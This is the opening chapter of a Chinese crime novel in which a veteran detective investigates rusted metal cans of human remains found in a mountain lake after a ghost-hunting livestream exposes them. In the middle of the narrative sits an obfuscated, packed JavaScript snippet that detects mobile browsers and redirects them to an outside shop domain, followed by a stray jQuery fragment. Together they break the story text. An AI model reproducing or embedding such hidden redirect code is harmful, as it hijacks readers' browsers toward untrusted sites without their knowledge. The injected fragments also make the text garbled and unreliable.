第一章:人肉罐头
“老田!出大事了!”
电话那头,刑警赵拓急促又略带沙哑的声音铺天盖地地传来,“邙山深处的湖里发现十二个人肉罐头,被人曝光到网上,掀起轩然大波。上头问责,王局气急败坏立下军令状,勒令三天破案,否则大家都吃不了兜着走......”
这个被叫“老田”的人,是市刑侦队的定海神针,人称“黑面神探”。他常年不苟言笑,黑着一张脸,手段老辣,就没有他破不了的案子。
老田刚结束一场为期小半年的跨省追捕。
犯罪嫌疑人杀了邻居一家五口,仓皇出逃,途中抢了一辆摩托车,往森林深处猛扎,车没油便弃车徒步穿过群山逃往外省。
老田带领一行人多处设伏,在山上喂了好几个月的蚊子,最后在隔壁省某个山村的坟地里找到犯罪嫌疑人。
经过几个月的东躲西藏,犯罪嫌疑人瘦了十几斤,长发飘飘,胡子拉碴,满身泥污,被抓时直接跪地放弃抵抗,痛哭流涕,话都说不出来。
然而胜利归来的老田,没有回家,而是冲了个澡,睡在了单位宿舍。
片刻,鼾声如雷。
这时候,除非天塌下来,否则全局上下没人敢扰了老田的清梦。
但现在,天——真的塌了。
赵拓还在电话里噼里啪啦地一顿输出,老田已经坐在驾驶位,脸上湿漉漉的,嘴里叼着烟。
他摸了把皮夹克外套的口袋,没找到,又打开车里镜子后方的夹层,果然看到打火机。
“啪嗒。”
夜色沉沉,烟雾缭绕,老田的脸忽明忽暗,眼神瞬间恢复成往日的凌厉。同事常说他像一匹孤狼,尤其是那双眼睛,坚毅、冷酷、布满血丝,像一把刀直插人心,恨不得把目标生吞活剥。
老田打开微信,点开赵拓发来的照片。
照片的背景是某个水系岸边,约莫十多个圆柱状的金属容器堆在一起,目测和常见的奶粉罐头差不多大小。
这些金属容器经过岁月侵蚀和流水冲刷,外表早已锈迹斑斑,上面的字迹模糊不清。其中一个容器或许是被外力打开,里面是糜烂的胶质体,有几只小鱼似乎在啃食,隐约能看到一根手指......看着确实像“人肉罐头”。
他把照片拉大,确认这是人类的手指,白骨都露出来了。
老田眉头微锁,心里暗叫一声,“艹”。
这件发生在荒郊野岭的碎尸案,本已被掩盖在黑暗之中,年深日久,无人知晓。可如今重见天日,却被探鬼主播现场直播,闹得几乎人尽皆知。
如此巧合,又如此诡谲,背后恐怕藏有天大的冤屈。
“我现在开车过去。”老田给赵拓发完语音,便启动引擎,按照定位导航过去。
一路上驾驶本来挺顺畅。
但老田开车路过莫家村村口拐入进山的那条小路的时候,不小心撞死一只大公鸡。
大公鸡是突然从路边飞出来,猛地撞向车灯,又滚冲到挡风玻璃上,差点让老田交代在这里。
老田下车查看的时候,腿都有些发虚,衣服后背湿了一大半。
这是他第五次与死神擦肩而过。
老田把死鸡扔在路边,从兜里掏出二百块钱,塞到鸡翅膀里盖住。
“大吉大利,今晚吃鸡。”他念叨着,不拿群众一针一线,该有的补偿做到位。
他从后备箱拿出一瓶水,简单冲洗了一下“车祸现场”。
做完这些,他点上一支烟,才发现空中竟挂着一轮血月,阴森诡异。
“真踏马邪门。”
老田没有耽搁太久,又按照导航往深山里开了一个多小时,终于抵达目的地。
他大致观察了一下现场周边环境,突然冷汗淋淋,鸡皮疙瘩都起来了。
山里有湖,湖中有岛,岛上密林森森,湖边野草疯长,比人还高......这样的风水宝地,居然能出这档子事?
“老田!你总算来了!”
赵拓三步并两步迎向老田,边走边简明扼要地介绍现场情况。
“尸块是钓鱼佬发现的,罐头是几个准备电鱼的村民捞上来的,报警的是位男网红,来这里做直播探鬼。”
“这是第一个发现尸体的。”赵拓身体往右微倾,肢体语言示意了一下。
居然是个女的?老田嘴角有些不易察觉的微抽。
他眼神微眯打量着眼前这位身穿军绿色户外套装的年轻女孩,一张小脸惨白得吓人,似乎有些过于消瘦了。
“你叫什么名字?”
“张小雨。”女孩一边回答,一边递上身份证。
他扫过一眼,上面写着2006年生,住址落在羌潍市梧桐大道106号。这个地址他有点眼熟,是当地一家比较出名的儿童福利社。
尽管答案了然于胸,老田还是问出了口:“为什么大晚上来深山老林里钓鱼?”
“群里大神推荐的,说这地方鱼又大又鲜,晚上可以狂口。”
“......”
老田无语凝噎,就多余问,钓鱼佬为不空军,做出什么事都不奇怪。
他想起网上经常调侃的一句话,“60%的凶杀案都是早起遛狗的人发现的,90%的抛尸案都是钓鱼佬发现的。”
下一个访谈对象是报案人。
蓝迪龙是个长得五大三粗的汉子,戴着黑框眼镜,满脸络腮胡子,上来就高喊:“警察叔叔,我冤枉啊!我就是来做探鬼直播,不是什么杀人凶手!”
赵拓忙拦住他,出声喝止。
“冤枉什么冤枉,不是你搞直播,现在会闹得人仰马翻?你捅出多大的篓子,你知道吗?”
老田没有过多理会,转头向那几位电鱼的村民聊了几句。
“都太年轻了。”老田偏过身对赵拓小声说道。
“什么?!”
“都带回去做笔录。”
看完现场,赵拓坐老田的车回去。路上老田解释道:“湖里打捞出来的金属容器,至少是二三十年的样式,而且是小作坊打造,现场这几个人都太年轻,岁数对不上。”
两人一路少言,谁也不想破坏这暴风雨前的宁静。
果然整件事情的发展朝着最糟糕、最失控的方向一路走到黑。
首先是受害者的身份难以确认。
原本以为碎尸被封藏在金属罐头里,多少能验出点什么。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17749739|209395||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
谁知容器质量一般,经过长年累月的流水腐蚀,早已千疮百孔,里面的软组织无法有效筛选检验......这几乎把法医王悦给逼疯了。
她连续数月猫在实验室里,从未出门,吃饭喝水全靠助理小刘操持。整个人宛如野人,却毫无进展。
此外,网络太发达,舆论根本压不住。
虽然平台第一时间封禁蓝迪龙的直播,但仍有好事之徒录播下来,一传十,十传百,闹得沸沸扬扬。有些博主为吃流量,各种二创层出不穷。
名不见经传的蓝迪龙也因此一炮而红,成为头部UP主,人送外号“天笼人”。
防民之口,甚于防川,堵不如疏,但得有地方疏导。
案子爆出后,进展缓慢,舆论日渐呈鼎沸之势。
警察局天天被热心群众打电话,上级领导次次问责警告。
老田活到四十多岁,从来没被那么多人叼过。上至厅长,下至局长,各个都在亲切地“问候”他。
经过专家组多次开会研讨,大家的侦破思路基本达成一致:
一是确认受害人身份,重点排查羌潍市及周边县村近二三十年的失踪人口;
二是确认制作金属罐头的小作坊,以抛尸现场为圆心逐步向外划区域排查。
这天,局里的同事聚在一起开碰头会。
杨雪是新来的实习警察,刚从警校毕业便撞上大案子,加上局里人手紧张,人人高气压。
她也跟着神经紧绷,熬夜加班,不敢松懈,黑眼圈都快掉地上了。
杨雪坐在会议桌前打开电脑播放失踪人口的PPT,一边用激光笔操作,一边进行简要解说。
“陈孝仁,男,1980年5月出生,莫家村人。据其家人报案,他已‘失踪’二十多年。但我们查过,这人应该是出国移民了,中国国籍已注销。”
莫家村。
老田在纸上写下这几个字,又用笔画了个圈,重点标记。
莫家村是离抛尸现场最近的一个村落。但这个近是相对而言,从莫家村到湖边,开车至少一个多小时的山路。如果是二三十年前没车的情况,有必要千里迢迢去抛尸吗?在村子里就地掩埋不是更方便?
但即使如此,老田还是带人把莫家村上上下下摸排了几遍,可惜一无所获。
会议室没人说话,眼看着要冷场了。
赵拓积极发言:“有没有可能受害者不在失踪人口里,而是在‘嫁出去’‘跑掉的’‘外出打工’的那些人当中,家属故意不报案。”
又没人吭声。
赵拓仿佛受到鼓舞,声音大了起来:“比如对外说老婆跑了,但其实是被老公杀了。又或者说,外地人口来打工,死在这里,但家属不知道,所以没报案。”
坐在主位上的王局不置可否,把目光投向低头写东西的某人,“老田,你怎么看?”
老田没有马上回话。
他想起第一次去抛尸现场的情景,深夜、血月、湖边、撞死的大公鸡......忽然之间福至心灵,老田决定死马当活马医,干脆再碰碰运气。
他道:“小赵说的有点道理,这样吧,小赵、杨雪跟我走一趟莫家村,可能会有什么新的发现。”